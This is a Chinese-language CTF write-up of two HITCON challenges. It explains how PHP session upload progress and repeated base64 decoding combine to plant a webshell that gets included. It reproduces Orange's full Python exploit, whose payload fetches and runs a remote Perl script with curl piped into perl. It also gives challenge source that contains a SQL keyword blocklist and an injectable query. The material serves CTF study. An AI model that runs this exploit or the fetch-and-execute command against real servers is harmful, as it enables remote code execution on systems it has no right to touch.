题目代码如下:
1 ($_ =@$_GET ['orange' ]) && @substr (file ($_ )[0 ],0 ,6 ) === '@ ? include($_) : highlight_file(__FILE__);
php的session.upload_progress.enabled=On引起的一个小问题
由于这个题目连session都没开,所以我根本就没有考虑去包含session。
但是最后看了orange的exp我才发现,只要发的POST请求中只要包含ini_get("session.upload_progress.name")
这个键值,并带上session_id,同时进行文件上传,就会直接创建一个session文件。
搭建一个上传文件的页面
upload.html
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <body > <form action ="upload_file.php" method ="post" enctype ="multipart/form-data" ><label for ="file" > Filename:</label > <input type ="file" name ="file" id ="file" /> <br /> <input type ="submit" name ="submit" value ="Submit" /> </form > </body > </html >
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if ($_FILES ["file" ]["error" ] > 0 ) { echo "Error: " . $_FILES ["file" ]["error" ] . "<br />" ; } else { echo "Upload: " . $_FILES ["file" ]["name" ] . "<br />" ; echo "Type: " . $_FILES ["file" ]["type" ] . "<br />" ; echo "Size: " . ($_FILES ["file" ]["size" ] / 1024 ) . " Kb<br />" ; echo "Stored in: " . $_FILES ["file" ]["tmp_name" ]; } ?>
测试如下,先删除session文件:
1 2 root@kali:/var/lib/php/sessions# rm sess_6hb0hqruuv7d5p2b6jtgs1i8no root@kali:/var/lib/php/sessions# ls
然后上传任意一个文件,发现并没有生成session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /CTF/hitcon2018/one-line-php-challenge/upload_file.php HTTP/1.1 Host: 192.168.92.129 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.92.129/CTF/hitcon2018/one-line-php-challenge/upload.html Content-Type: multipart/form-data; boundary=---------------------------23634071864731266927650791 Content-Length: 452 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------23634071864731266927650791 Content-Disposition: form-data; name="file"; filename="burpsuite_pro" Content-Type: application/octet-stream java -Xbootclasspath/p:/opt/burpsuite/burp-loader-keygen.jar -jar /opt/burpsuite/burpsuite_pro_v1.7.37.jar -----------------------------23634071864731266927650791 Content-Disposition: form-data; name="submit" Submit -----------------------------23634071864731266927650791--
然后在上传内容中构造session.upload_progress.name
键值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /CTF/hitcon2018/one-line-php-challenge/upload_file.php HTTP/1.1 Host: 192.168.92.129 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.92.129/CTF/hitcon2018/one-line-php-challenge/upload.html Cookie: PHPSESSID=u0hgfruaudns3jigq5trocbr0m Content-Type: multipart/form-data; boundary=---------------------------23634071864731266927650791 Content-Length: 586 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------23634071864731266927650791 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" test -----------------------------23634071864731266927650791 Content-Disposition: form-data; name="file"; filename="burpsuite_pro" Content-Type: application/octet-stream java -Xbootclasspath/p:/opt/burpsuite/burp-loader-keygen.jar -jar /opt/burpsuite/burpsuite_pro_v1.7.37.jar -----------------------------23634071864731266927650791 Content-Disposition: form-data; name="submit" Submit -----------------------------23634071864731266927650791--
上传后发现生成了session
1 2 root@kali:/var/lib/php/sessions# ls sess_rlj8ralp0imdacas126gtom0co
session文件内容
1 2 3 upload_progress_@<?php eval($_GET[1]);|a:5:{s:10:"start_time";i:1540269279;s:14:"content_length";i:315;s:15:"bytes_processed";i: 315;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:4:"test";s:8:"tmp_name";N;s:5:"error";i :0;s:4:"done";b:0;s:10:"start_time";i:1540269279;s:15:"bytes_processed";i:315;}}}
开头是upload_progress_@<?php eval($_GET[1]);
,题目要求开头是@<?php
绕过@substr(file($_)[0],0,6) === ‘@<?php’
这里用到了base64_decode() 的容错性: base64解码函数可以接受的字符范围是[A-Za-z0-9+/=]
,但是如果php的base64_decode遇到了不在此范围内的字符,php就会直接跳过这些字符,只把在此范围的字符连起来进行解码。
1 2 3 4 5 6 7 8 9 10 11 12 $i = 0 ;$data = "upload_progress_ZZ" ;while (true ){ $i += 1 ; $data = base64_decode ($data ); var_dump ($data ); sleep (1 ); if ($data == '' ){ echo "一共解码了:" .$i ,"次\n" ; break ; } }
1 2 3 4 5 string (12 ) "��hi�k� �Y" string (3 ) "�)" string (0 ) "" 一共解码了:3 次
upload_progress_ZZ
一共是18个字符,但是由于base64_decode跳过了_
,所以是剩下16个字符,解码一次之后是12个字符,又因为12个字符中只有4个在范围内,所以再次解码之后变为了3个字符,这三个字符都不在范围内,所以解码之后为空字符串。
这里需要注意的是我们在upload_progress_
前缀后面扩展了两位是ZZ
,这个ZZ
的选择也是非常有讲究的,必须保证每一次的的base64解码之后的可接受字符个数都必须是4的整数倍,否则就会吞掉后面的payload。
举个例子upload_progress_AA
就是不满足条件的,因为一次base64解码之后变为了
可接受字符变为了3个,不是4的倍数,那么在下一次进行base64解码的时候,一定会吞掉后面的一位,导致payload部分被破坏掉。
所以最后控制SESSION的key值为:
1 "upload_progress_ZZ" .base64_encode (base64_encode (base64_encode ('@<?php eval($_GET[1]);' )));
然后进行三次的base_64decode,就会去掉upload_progress_
,只剩下@<?php eval($_GET[1]);
最后附上orange的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import sysimport stringimport requestsfrom base64 import b64encodefrom random import sample, randintfrom multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection' : 'close' , 'Cookie' : 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1 : junk = '' .join(sample(string.ascii_letters, randint(8 , 16 ))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break def runner1 (i ): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : 'ZZ' + xxx + 'Z' } while 1 : fp = open ('/etc/passwd' , 'rb' ) r = requests.post(HOST, files={'f' : fp}, data=data, headers=headers) fp.close() def runner2 (i ): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename while 1 : url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print if sys.argv[1 ] == '1' : runner = runner1 else : runner = runner2 pool = ThreadPool(32 ) result = pool.map_async( runner, range (32 ) ).get(0xffff )
SQL SO Hard
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 /** * @HITCON CTF 2017 * @Author Orange Tsai */ const qs = require("qs" ); const fs = require("fs" ); const pg = require("pg" ); const mysql = require("mysql" ); const crypto = require("crypto" ); const express = require("express" ); const pool = mysql.createPool({ connectionLimit: 100 , host: "localhost" , user: "ban" , password: "ban" , database: "bandb" , }); const client = new pg.Client({ host: "localhost" , user: "userdb" , password: "userdb" , database: "userdb" , }); client.connect(); const KEYWORDS = [ "select" , "union" , "and" , "or" , "\\" , "/" , "*" , " " ] function waf(string) { for (var i in KEYWORDS) { var key = KEYWORDS[i]; if (string.toLowerCase().indexOf(key) !== -1 ) { return true; } } return false; } const app = express(); app.use((req, res, next ) => { var data = "" ; req.on("data" , (chunk) => { data += chunk}) req.on("end" , () =>{ req.body = qs.parse(data); next (); }) }) app.all ("/*" , (req, res, next ) => { if ("show_source" in req.query) { return res.end(fs.readFileSync(__filename)); } if (req.path == "/" ) { return next (); } var ip = req.connection.remoteAddress; var payload = "" ; for (var k in req.query) { if (waf(req.query[k])) { payload = req.query[k]; break ; } } for (var k in req.body) { if (waf(req.body[k])) { payload = req.body[k]; break ; } } if (payload.length > 0 ) { var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`; } else { var sql = `SELECT ?,?,?`; } return pool.query(sql, [ip, payload, payload], (err, rows) => { var sql = `SELECT * FROM blacklists WHERE ip=?`; return pool.query(sql, [ip], (err,rows) => { if ( rows.length == 0 ) { return next (); } else { return res.end("Shame on you" ); } }); }); }); app.get("/" , (req, res) => { var sql = `SELECT * FROM blacklists GROUP BY ip`; return pool.query(sql, [], (err,rows) => { res.header("Content-Type" , "text/html" ); var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n" ; for (var r in rows) { html += `${parseInt(r)+1 }. ${rows[r].ip}\n`; } return res.end(html); }); }); app.post("/reg" , (req, res) => { var username = req.body.username; var password = req.body.password; if (!username || !password || username.length < 4 || password.length < 4 ) { return res.end("Bye" ); } password = crypto.createHash("md5" ).update(password).digest("hex" ); var sql = `INSERT INTO users(username, password) VALUES('${username}' , '${password}' ) ON CONFLICT (username) DO NOTHING`; return client.query(sql.split(";" )[0 ], (err, rows) => { if (rows && rows.rowCount == 1 ) { return res.end("Reg OK" ); } else { return res.end("User taken" ); } }); }); app.listen(31337 , () => { console.log("Listen OK" ); });
留坑。。